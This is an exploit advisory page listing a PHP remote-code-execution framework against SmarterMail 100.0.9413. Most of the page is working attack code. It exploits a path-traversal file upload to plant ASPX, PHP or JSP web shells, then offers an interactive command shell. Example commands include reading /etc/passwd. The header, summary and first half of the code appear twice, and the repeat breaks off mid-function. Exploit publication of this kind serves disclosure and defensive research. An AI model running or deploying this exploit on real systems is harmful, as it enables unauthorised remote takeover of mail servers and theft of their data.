10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
This PHP code implements a fully automated remote exploitation framework targeting SmarterMail version 100.0.9413. It is designed to identify the service, determine the underlying operating system, abuse a file upload mechanism with path traversal, and...
Basic Information
ID
PACKETSTORM:215959
Published
Feb 20, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : SmarterMail v 100.0.9413 GUID File RCE Exploit
|
| # Author : indoushka
|
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64
bits) |
| # Vendor : https://www.smartertools.com/smartermail/downloads
|
=============================================================================================================================================
[+] Summary: This PHP code implements a fully automated remote exploitation
framework targeting a vulnerable SmarterMail installation.
It is designed to identify the service, determine the
underlying operating system, abuse a file upload mechanism with path
traversal, and achieve arbitrary file write leading to remote command
execution.
The tool supports multiple payload formats (ASPX, PHP, JSP,
and direct command logic) and dynamically adapts to Windows or Unix-like
environments.
It performs service detection, payload generation, upload delivery,
reachability verification, and optional interactive command execution
through a web-accessible endpoint.
From a security research perspective, the exploit demonstrates
a complete attack chain, starting from insufficient validation in an upload
API and culminating in post-exploitation command execution.
The vulnerability class spans multiple critical weakness categories,
including unrestricted file upload, path traversal, and remote code
execution.
The framework is modular, configurable via command-line
arguments, and capable of adapting payload behavior based on server
response and environment characteristics.
Its design reflects post-exploitation automation rather than a simple proof
of concept.
[+] POC :
# PHP shell with interactive mode : php exploit.php http://victim.com "id"
--type=php --interactive
# ASPX shell for Windows : php exploit.php http://win-server.com
"ipconfig" --type=aspx
# JSP shell with custom command : php exploit.php http://java-app.com
"uname -a" --type=jsp
# Automatic system discovery : php exploit.php http://unknown-os.com
"hostname" --type=php
<?php
class SmarterMailExploit
{
private $targetUrl;
private $targetUri;
private $depth;
private $webRootPort;
private $targetDir;
private $payload;
private $payloadType;
private $curlTimeout = 30;
const PAYLOAD_ASPX = 'aspx';
const PAYLOAD_PHP = 'php';
const PAYLOAD_JSP = 'jsp';
const PAYLOAD_CMD = 'cmd';
public function __construct($options = [])
{
$this->targetUrl = rtrim($options['target_url'] ?? '', '/');
$this->targetUri = '/' . ltrim($options['target_uri'] ?? '', '/');
$this->depth = max(1, intval($options['depth'] ?? 15));
$this->webRootPort = intval($options['web_root_port'] ?? 80);
$this->targetDir = $options['target_dir'] ?? null;
$this->payloadType = $options['payload_type'] ?? self::PAYLOAD_CMD;
if (!isset($options['is_windows'])) {
$this->isWindows = $this->detectWindows();
} else {
$this->isWindows = $options['is_windows'];
}
if ($this->isWindows && empty($this->targetDir)) {
$this->targetDir = '/inetpub/wwwroot';
} elseif (!$this->isWindows && empty($this->targetDir)) {
$this->targetDir = '/tmp';
}
$this->targetDir = rtrim($this->targetDir, '/');
}
private function detectWindows()
{
try {
$url = $this->targetUrl . $this->targetUri . '/';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
if ($response !== false) {
$headers = explode("\n", $response);
foreach ($headers as $header) {
if (stripos($header, 'Server:') !== false) {
if (stripos($header, 'IIS') !== false ||
stripos($header, 'Microsoft') !== false ||
stripos($header, 'Win32') !== false) {
curl_close($ch);
return true;
}
}
}
}
curl_close($ch);
return false;
} catch (Exception $e) {
return false;
}
}
public function check()
{
try {
$url = $this->targetUrl . $this->targetUri . '/';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
if ($response === false) {
$error = curl_error($ch);
curl_close($ch);
throw new Exception("HTTP request failed: {$error}");
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 || $httpCode == 302 || $httpCode == 401) {
if (stripos($response, 'SmarterMail') !== false) {
return true;
}
return null;
}
return false;
} catch (Exception $e) {
error_log("Check failed: " . $e->getMessage());
return false;
}
}
private function generatePayload($command, $payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
switch ($type) {
case self::PAYLOAD_ASPX:
return $this->generateAspxPayload($command);
case self::PAYLOAD_PHP:
return $this->generatePhpPayload($command);
case self::PAYLOAD_JSP:
return $this->generateJspPayload($command);
case self::PAYLOAD_CMD:
default:
return $command;
}
}
private function generateAspxPayload($command)
{
$encodedCommand = rawurlencode($command);
$processStartInfo = 'proc' . bin2hex(random_bytes(4));
$process = 'process' . bin2hex(random_bytes(4));
return <<<EOF
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
Response.ContentType = "text/plain";
Response.Charset = "UTF-8";
string cmd = Request.QueryString["cmd"];
if (string.IsNullOrEmpty(cmd)) {
cmd = System.Uri.UnescapeDataString("{$encodedCommand}");
}
if (!string.IsNullOrEmpty(cmd)) {
try {
ProcessStartInfo $processStartInfo = new ProcessStartInfo();
if (System.Environment.OSVersion.Platform ==
PlatformID.Win32NT) {
$processStartInfo.FileName = "cmd.exe";
$processStartInfo.Arguments = "/c " + cmd;
} else {
$processStartInfo.FileName = "/bin/sh";
$processStartInfo.Arguments = "-c \"" + cmd.Replace("\"",
"\\\"") + "\"";
}
$processStartInfo.RedirectStandardOutput = true;
$processStartInfo.RedirectStandardError = true;
$processStartInfo.UseShellExecute = false;
$processStartInfo.CreateNoWindow = true;
$processStartInfo.StandardOutputEncoding = Encoding.UTF8;
$processStartInfo.StandardErrorEncoding = Encoding.UTF8;
Process $process = Process.Start($processStartInfo);
string output = $process.StandardOutput.ReadToEnd();
string error = $process.StandardError.ReadToEnd();
$process.WaitForExit(30000);
Response.Write("STDOUT:\\n" + output + "\\n\\n");
if (!string.IsNullOrEmpty(error)) {
Response.Write("STDERR:\\n" + error + "\\n");
}
Response.Write("Exit Code: " + $process.ExitCode);
} catch (Exception ex) {
Response.Write("ERROR: " + ex.Message + "\\n" + ex.StackTrace);
}
} else {
Response.Write("No command specified. Use ?cmd=command");
}
}
</script>
EOF;
}
private function generatePhpPayload($command)
{
$encodedCommand = base64_encode($command);
return <<<EOF
<?php
header('Content-Type: text/plain; charset=utf-8');
if (isset(\$_REQUEST['cmd'])) {
\$cmd = base64_decode(\$_REQUEST['cmd']);
} elseif (isset(\$_REQUEST['c'])) {
\$cmd = \$_REQUEST['c'];
} else {
// Default command from payload
\$cmd = base64_decode('{$encodedCommand}');
}
if (!empty(\$cmd)) {
if (function_exists('shell_exec')) {
\$output = shell_exec(\$cmd);
echo \$output !== null ? \$output : "(no output)";
} elseif (function_exists('system')) {
ob_start();
system(\$cmd);
\$output = ob_get_clean();
echo \$output;
} elseif (function_exists('passthru')) {
ob_start();
passthru(\$cmd);
\$output = ob_get_clean();
echo \$output;
} elseif (function_exists('exec')) {
\$output = array();
exec(\$cmd, \$output, \$return_var);
echo implode("\\n", \$output);
echo "\\nExit code: " . \$return_var;
} elseif (function_exists('proc_open')) {
\$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
\$process = proc_open(\$cmd, \$descriptorspec, \$pipes);
if (is_resource(\$process)) {
fclose(\$pipes[0]);
\$stdout = stream_get_contents(\$pipes[1]);
fclose(\$pipes[1]);
\$stderr = stream_get_contents(\$pipes[2]);
fclose(\$pipes[2]);
\$return_value = proc_close(\$process);
echo "STDOUT:\\n" . \$stdout . "\\n\\n";
if (!empty(\$stderr)) {
echo "STDERR:\\n" . \$stderr . "\\n\\n";
}
echo "Exit code: " . \$return_value;
}
} else {
echo "No shell execution functions available";
}
} else {
echo "PHP Shell Ready. Use cmd or c parameter.";
}
?>
EOF;
}
private function generateJspPayload($command)
{
$encodedCommand = base64_encode($command);
return <<<EOF
<%@ page import="java.util.*,java.io.*,java.lang.*" %>
<%
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
// Use default command from payload
cmd = new
String(java.util.Base64.getDecoder().decode("{$encodedCommand}"));
}
if (cmd != null && !cmd.isEmpty()) {
try {
Process p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c",
cmd});
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c",
cmd});
}
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
String s;
out.println("STDOUT:");
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.println("\nSTDERR:");
while ((s = stdError.readLine()) != null) {
out.println(s);
}
p.waitFor();
out.println("\nExit value: " + p.exitValue());
stdInput.close();
stdError.close();
} catch (Exception e) {
out.println("ERROR: " + e.toString());
e.printStackTrace(new PrintWriter(out));
}
} else {
out.println("JSP Shell Ready. Use cmd parameter.");
}
%>
EOF;
}
private function getFileExtension($payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
switch ($type) {
case self::PAYLOAD_ASPX:
return '.aspx';
case self::PAYLOAD_PHP:
return '.php';
case self::PAYLOAD_JSP:
return '.jsp';
case self::PAYLOAD_CMD:
default:
return $this->isWindows ? '.aspx' : '.sh';
}
}
private function uploadPayload($targetDir, $filename, $payloadContents,
$payloadType = null)
{
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
$extension = $this->getFileExtension($payloadType);
$resumableFilename = bin2hex(random_bytes(4)) . $extension;
$postData = '';
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"context\"\r\n\r\n";
$postData .= "attachment\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"resumableIdentifier\"\r\n\r\n";
$postData .= "{$filename}\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"resumableFilename\"\r\n\r\n";
$postData .= "{$resumableFilename}\r\n";
$traversal = str_repeat('../', $this->depth);
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"contextData\"\r\n";
$postData .= "Content-Type: application/json\r\n\r\n";
$postData .=
"{\"guid\":\"dag/{$traversal}{$targetDir}/{$filename}\"}\r\n";
$randomName = bin2hex(random_bytes(8));
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"{$randomName}\"; filename=\"{$randomName}.txt\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n\r\n";
$postData .= $payloadContents . "\r\n";
$postData .= "--{$boundary}--\r\n";
$url = $this->targetUrl . $this->targetUri . '/api/upload';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postData,
CURLOPT_HTTPHEADER => [
"Content-Type: multipart/form-data; boundary={$boundary}",
"User-Agent: Mozilla/5.0",
"Accept: application/json, */*"
],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5
]);
$response = curl_exec($ch);
if ($response === false) {
$error = curl_error($ch);
curl_close($ch);
throw new Exception("cURL request failed: {$error}");
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode != 200) {
throw new Exception("File upload failed. HTTP Code:
{$httpCode}");
}
$json = json_decode($response, true);
if ($json === null) {
throw new Exception("Invalid JSON response from server");
}
if (!isset($json['key'])) {
throw new Exception("Server response missing 'key' field");
}
$key = $json['key'];
if (!preg_match('/([^\/]+)$/', $key, $matches)) {
throw new Exception("Could not extract filename from key:
{$key}");
}
$uploadedFilename = $matches[1];
echo "[+] Uploaded payload file: {$uploadedFilename}\n";
return $uploadedFilename;
}
private function testPayload($filename, $payloadType, $testCommand =
'whoami')
{
$port = ($this->webRootPort != 80 && $this->webRootPort != 443) ?
":{$this->webRootPort}" : '';
$url = $this->targetUrl . $port . $this->targetUri . '/' .
$filename;
echo "[*] Testing payload at: {$url}\n";
$testUrl = $url;
switch ($payloadType) {
case self::PAYLOAD_ASPX:
$testUrl .= '?cmd=' . urlencode($testCommand);
break;
case self::PAYLOAD_PHP:
$testUrl .= '?cmd=' . base64_encode($testCommand);
break;
case self::PAYLOAD_JSP:
$testUrl .= '?cmd=' . urlencode($testCommand);
break;
}
$ch = curl_init($testUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false) {
echo "[+] Payload test successful. HTTP Code: {$httpCode}\n";
$preview = substr($response, 0, 1000);
if (strlen($response) > 1000) {
$preview .= "...\n[+] Output truncated, " .
(strlen($response) - 1000) . " more characters";
}
echo "[+] Response preview:\n" . $preview . "\n";
return $response;
}
return false;
}
public function executeCommand($filename, $payloadType, $command)
{
$port = ($this->webRootPort != 80 && $this->webRootPort != 443) ?
":{$this->webRootPort}" : '';
$url = $this->targetUrl . $port . $this->targetUri . '/' .
$filename;
switch ($payloadType) {
case self::PAYLOAD_ASPX:
$url .= '?cmd=' . urlencode($command);
break;
case self::PAYLOAD_PHP:
$url .= '?cmd=' . base64_encode($command);
break;
case self::PAYLOAD_JSP:
$url .= '?cmd=' . urlencode($command);
break;
case self::PAYLOAD_CMD:
return $this->executeDirect($command);
}
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false && $httpCode == 200) {
return $response;
}
return "Command execution failed. HTTP Code: {$httpCode}";
}
private function executeDirect($command)
{
return "Direct command execution scheduled: {$command}";
}
public function exploit($command, $payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
$payloadName = 'shell_' . bin2hex(random_bytes(8));
echo "[*] Using payload type: " . strtoupper($type) . "\n";
echo "[*] Target OS: " . ($this->isWindows ? 'Windows' :
'Unix/Linux') . "\n";
$payloadContent = $this->generatePayload($command, $type);
echo "[*] Uploading payload to {$this->targetDir}...\n";
$uploadedFilename = $this->uploadPayload($this->targetDir,
$payloadName, $payloadContent, $type);
echo "[*] Testing payload functionality...\n";
$testResult = $this->testPayload($uploadedFilename, $type);
if ($testResult !== false) {
echo "[+] Payload is active and responding!\n";
echo "[+] Shell URL: " . $this->targetUrl;
if ($this->webRootPort != 80 && $this->webRootPort != 443) {
echo ":{$this->webRootPort}";
}
echo $this->targetUri . '/' . $uploadedFilename . "\n";
echo "\n[+] Usage:\n";
switch ($type) {
case self::PAYLOAD_ASPX:
echo " URL?cmd=whoami\n";
echo " URL?cmd=powershell+-c+\"Get-Process\"\n";
break;
case self::PAYLOAD_PHP:
echo " URL?cmd=" . base64_encode('whoami') . "\n";
echo " URL?c=ls+-la\n";
break;
case self::PAYLOAD_JSP:
echo " URL?cmd=whoami\n";
echo " URL?cmd=ls+-la\n";
break;
}
return [
'filename' => $uploadedFilename,
'type' => $type,
'url' => $this->targetUrl . $this->targetUri . '/' .
$uploadedFilename
];
} else {
echo "[-] Payload uploaded but not responding as expected\n";
return false;
}
}
public function interactiveShell($uploadedFilename, $payloadType)
{
echo "\n[+] Entering interactive mode. Type 'exit' to quit.\n";
while (true) {
echo "shell> ";
$command = trim(fgets(STDIN));
if (empty($command)) {
continue;
}
if (strtolower($command) == 'exit' || strtolower($command) ==
'quit') {
break;
}
$result = $this->executeCommand($uploadedFilename,
$payloadType, $command);
echo $result . "\n";
}
echo "[+] Interactive session ended.\n";
}
}
if ($argv[0] == basename(__FILE__)) {
if ($argc < 3) {
echo "SmarterMail RCE Exploit by indoushka- CVE-2025-52691\n";
echo "=====================================================\n";
echo "Usage: php " . basename(__FILE__) . " <target_url> <command>
[options]\n\n";
echo "Payload Types:\n";
echo " --type=aspx ASP.NET web shell (Windows)\n";
echo " --type=php PHP web shell (Unix/Windows with PHP)\n";
echo " --type=jsp JSP web shell (Java/Tomcat)\n";
echo " --type=cmd Direct command execution (default)\n\n";
echo "Examples:\n";
echo " php exploit.php http://target.com \"whoami\" --type=php\n";
echo " php exploit.php http://target.com \"powershell -c
ipconfig\" --type=aspx\n";
echo " php exploit.php http://target.com \"cat /etc/passwd\"
--type=jsp\n";
exit(1);
}
$targetUrl = $argv[1];
$command = $argv[2];
$options = [
'target_url' => $targetUrl,
'target_uri' => '/smartermail',
'depth' => 15,
'web_root_port' => 80,
'payload_type' => SmarterMailExploit::PAYLOAD_CMD,
'target_dir' => null
];
for ($i = 3; $i < $argc; $i++) {
if (strpos($argv[$i], '--') === 0) {
$parts = explode('=', $argv[$i], 2);
$key = substr($parts[0], 2);
if (isset($parts[1])) {
if ($key == 'depth' || $key == 'port') {
$options[$key] = intval($parts[1]);
} elseif ($key == 'type') {
$validTypes = [
'aspx' => SmarterMailExploit::PAYLOAD_ASPX,
'php' => SmarterMailExploit::PAYLOAD_PHP,
'jsp' => SmarterMailExploit::PAYLOAD_JSP,
'cmd' => SmarterMailExploit::PAYLOAD_CMD
];
if (isset($validTypes[$parts[1]])) {
$options['payload_type'] = $validTypes[$parts[1]];
} else {
echo "[-] Invalid payload type. Valid: aspx, php,
jsp, cmd\n";
exit(1);
}
} else {
$options[$key] = $parts[1];
}
} elseif ($key == 'windows') {
$options['is_windows'] = true;
} elseif ($key == 'linux') {
$options['is_windows'] = false;
} elseif ($key == 'interactive') {
$options['interactive'] = true;
}
}
}
$exploit = new SmarterMailExploit($options);
try {
echo "[*] Checking target...\n";
$checkResult = $exploit->check();
if ($checkResult === true) {
echo "[+] Target appears to be SmarterMail\n";
} elseif ($checkResult === null) {
echo "[?] Service accessible but SmarterMail not confirmed\n";
echo "[*] Continuing...\n";
} else {
echo "[-] Target not accessible\n";
exit(1);
}
echo "[*] Executing exploit...\n";
$result = $exploit->exploit($command);
if ($result !== false) {
echo "\n[+] Exploit successful!\n";
if (isset($options['interactive']) && $options['interactive']) {
$exploit->interactiveShell($result['filename'],
$result['type']);
}
} else {
echo "[-] Exploit failed\n";
exit(1);
}
} catch (Exception $e) {
echo "[-] Error: " . $e->getMessage() . "\n";
exit(1);
}
}
Greetings to
:=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln
(John Page aka hyp3rlinx)|
===================================================================================================
| # Title : SmarterMail v 100.0.9413 GUID File RCE Exploit
|
| # Author : indoushka
|
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64
bits) |
| # Vendor : https://www.smartertools.com/smartermail/downloads
|
=============================================================================================================================================
[+] Summary: This PHP code implements a fully automated remote exploitation
framework targeting a vulnerable SmarterMail installation.
It is designed to identify the service, determine the
underlying operating system, abuse a file upload mechanism with path
traversal, and achieve arbitrary file write leading to remote command
execution.
The tool supports multiple payload formats (ASPX, PHP, JSP,
and direct command logic) and dynamically adapts to Windows or Unix-like
environments.
It performs service detection, payload generation, upload delivery,
reachability verification, and optional interactive command execution
through a web-accessible endpoint.
From a security research perspective, the exploit demonstrates
a complete attack chain, starting from insufficient validation in an upload
API and culminating in post-exploitation command execution.
The vulnerability class spans multiple critical weakness categories,
including unrestricted file upload, path traversal, and remote code
execution.
The framework is modular, configurable via command-line
arguments, and capable of adapting payload behavior based on server
response and environment characteristics.
Its design reflects post-exploitation automation rather than a simple proof
of concept.
[+] POC :
# PHP shell with interactive mode : php exploit.php http://victim.com "id"
--type=php --interactive
# ASPX shell for Windows : php exploit.php http://win-server.com
"ipconfig" --type=aspx
# JSP shell with custom command : php exploit.php http://java-app.com
"uname -a" --type=jsp
# Automatic system discovery : php exploit.php http://unknown-os.com
"hostname" --type=php
<?php
class SmarterMailExploit
{
private $targetUrl;
private $targetUri;
private $depth;
private $webRootPort;
private $targetDir;
private $payload;
private $payloadType;
private $curlTimeout = 30;
const PAYLOAD_ASPX = 'aspx';
const PAYLOAD_PHP = 'php';
const PAYLOAD_JSP = 'jsp';
const PAYLOAD_CMD = 'cmd';
public function __construct($options = [])
{
$this->targetUrl = rtrim($options['target_url'] ?? '', '/');
$this->targetUri = '/' . ltrim($options['target_uri'] ?? '', '/');
$this->depth = max(1, intval($options['depth'] ?? 15));
$this->webRootPort = intval($options['web_root_port'] ?? 80);
$this->targetDir = $options['target_dir'] ?? null;
$this->payloadType = $options['payload_type'] ?? self::PAYLOAD_CMD;
if (!isset($options['is_windows'])) {
$this->isWindows = $this->detectWindows();
} else {
$this->isWindows = $options['is_windows'];
}
if ($this->isWindows && empty($this->targetDir)) {
$this->targetDir = '/inetpub/wwwroot';
} elseif (!$this->isWindows && empty($this->targetDir)) {
$this->targetDir = '/tmp';
}
$this->targetDir = rtrim($this->targetDir, '/');
}
private function detectWindows()
{
try {
$url = $this->targetUrl . $this->targetUri . '/';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
if ($response !== false) {
$headers = explode("\n", $response);
foreach ($headers as $header) {
if (stripos($header, 'Server:') !== false) {
if (stripos($header, 'IIS') !== false ||
stripos($header, 'Microsoft') !== false ||
stripos($header, 'Win32') !== false) {
curl_close($ch);
return true;
}
}
}
}
curl_close($ch);
return false;
} catch (Exception $e) {
return false;
}
}
public function check()
{
try {
$url = $this->targetUrl . $this->targetUri . '/';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
if ($response === false) {
$error = curl_error($ch);
curl_close($ch);
throw new Exception("HTTP request failed: {$error}");
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 || $httpCode == 302 || $httpCode == 401) {
if (stripos($response, 'SmarterMail') !== false) {
return true;
}
return null;
}
return false;
} catch (Exception $e) {
error_log("Check failed: " . $e->getMessage());
return false;
}
}
private function generatePayload($command, $payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
switch ($type) {
case self::PAYLOAD_ASPX:
return $this->generateAspxPayload($command);
case self::PAYLOAD_PHP:
return $this->generatePhpPayload($command);
case self::PAYLOAD_JSP:
return $this->generateJspPayload($command);
case self::PAYLOAD_CMD:
default:
return $command;
}
}
private function generateAspxPayload($command)
{
$encodedCommand = rawurlencode($command);
$processStartInfo = 'proc' . bin2hex(random_bytes(4));
$process = 'process' . bin2hex(random_bytes(4));
return <<<EOF
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
Response.ContentType = "text/plain";
Response.Charset = "UTF-8";
string cmd = Request.QueryString["cmd"];
if (string.IsNullOrEmpty(cmd)) {
cmd = System.Uri.UnescapeDataString("{$encodedCommand}");
}
if (!string.IsNullOrEmpty(cmd)) {
try {
ProcessStartInfo $processStartInfo = new ProcessStartInfo();
if (System.Environment.OSVersion.Platform ==
PlatformID.Win32NT) {
$processStartInfo.FileName = "cmd.exe";
$processStartInfo.Arguments = "/c " + cmd;
} else {
$processStartInfo.FileName = "/bin/sh";
$processStartInfo.Arguments = "-c \"" + cmd.Replace("\"",
"\\\"") + "\"";
}
$processStartInfo.RedirectStandardOutput = true;
$processStartInfo.RedirectStandardError = true;
$processStartInfo.UseShellExecute = false;
$processStartInfo.CreateNoWindow = true;
$processStartInfo.StandardOutputEncoding = Encoding.UTF8;
$processStartInfo.StandardErrorEncoding = Encoding.UTF8;
Process $process = Process.Start($processStartInfo);
string output = $process.StandardOutput.ReadToEnd();
string error = $process.StandardError.ReadToEnd();
$process.WaitForExit(30000);
Response.Write("STDOUT:\\n" + output + "\\n\\n");
if (!string.IsNullOrEmpty(error)) {
Response.Write("STDERR:\\n" + error + "\\n");
}
Response.Write("Exit Code: " + $process.ExitCode);
} catch (Exception ex) {
Response.Write("ERROR: " + ex.Message + "\\n" + ex.StackTrace);
}
} else {
Response.Write("No command specified. Use ?cmd=command");
}
}
</script>
EOF;
}
private function generatePhpPayload($command)
{
$encodedCommand = base64_encode($command);
return <<<EOF
<?php
header('Content-Type: text/plain; charset=utf-8');
if (isset(\$_REQUEST['cmd'])) {
\$cmd = base64_decode(\$_REQUEST['cmd']);
} elseif (isset(\$_REQUEST['c'])) {
\$cmd = \$_REQUEST['c'];
} else {
// Default command from payload
\$cmd = base64_decode('{$encodedCommand}');
}
if (!empty(\$cmd)) {
if (function_exists('shell_exec')) {
\$output = shell_exec(\$cmd);
echo \$output !== null ? \$output : "(no output)";
} elseif (function_exists('system')) {
ob_start();
system(\$cmd);
\$output = ob_get_clean();
echo \$output;
} elseif (function_exists('passthru')) {
ob_start();
passthru(\$cmd);
\$output = ob_get_clean();
echo \$output;
} elseif (function_exists('exec')) {
\$output = array();
exec(\$cmd, \$output, \$return_var);
echo implode("\\n", \$output);
echo "\\nExit code: " . \$return_var;
} elseif (function_exists('proc_open')) {
\$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
\$process = proc_open(\$cmd, \$descriptorspec, \$pipes);
if (is_resource(\$process)) {
fclose(\$pipes[0]);
\$stdout = stream_get_contents(\$pipes[1]);
fclose(\$pipes[1]);
\$stderr = stream_get_contents(\$pipes[2]);
fclose(\$pipes[2]);
\$return_value = proc_close(\$process);
echo "STDOUT:\\n" . \$stdout . "\\n\\n";
if (!empty(\$stderr)) {
echo "STDERR:\\n" . \$stderr . "\\n\\n";
}
echo "Exit code: " . \$return_value;
}
} else {
echo "No shell execution functions available";
}
} else {
echo "PHP Shell Ready. Use cmd or c parameter.";
}
?>
EOF;
}
private function generateJspPayload($command)
{
$encodedCommand = base64_encode($command);
return <<<EOF
<%@ page import="java.util.*,java.io.*,java.lang.*" %>
<%
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
// Use default command from payload
cmd = new
String(java.util.Base64.getDecoder().decode("{$encodedCommand}"));
}
if (cmd != null && !cmd.isEmpty()) {
try {
Process p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c",
cmd});
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c",
cmd});
}
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
String s;
out.println("STDOUT:");
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.println("\nSTDERR:");
while ((s = stdError.readLine()) != null) {
out.println(s);
}
p.waitFor();
out.println("\nExit value: " + p.exitValue());
stdInput.close();
stdError.close();
} catch (Exception e) {
out.println("ERROR: " + e.toString());
e.printStackTrace(new PrintWriter(out));
}
} else {
out.println("JSP Shell Ready. Use cmd parameter.");
}
%>
EOF;
}
private function getFileExtension($payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
switch ($type) {
case self::PAYLOAD_ASPX:
return '.aspx';
case self::PAYLOAD_PHP:
return '.php';
case self::PAYLOAD_JSP:
return '.jsp';
case self::PAYLOAD_CMD:
default:
return $this->isWindows ? '.aspx' : '.sh';
}
}
private function uploadPayload($targetDir, $filename, $payloadContents,
$payloadType = null)
{
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
$extension = $this->getFileExtension($payloadType);
$resumableFilename = bin2hex(random_bytes(4)) . $extension;
$postData = '';
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"context\"\r\n\r\n";
$postData .= "attachment\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"resumableIdentifier\"\r\n\r\n";
$postData .= "{$filename}\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"resumableFilename\"\r\n\r\n";
$postData .= "{$resumableFilename}\r\n";
$traversal = str_repeat('../', $this->depth);
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
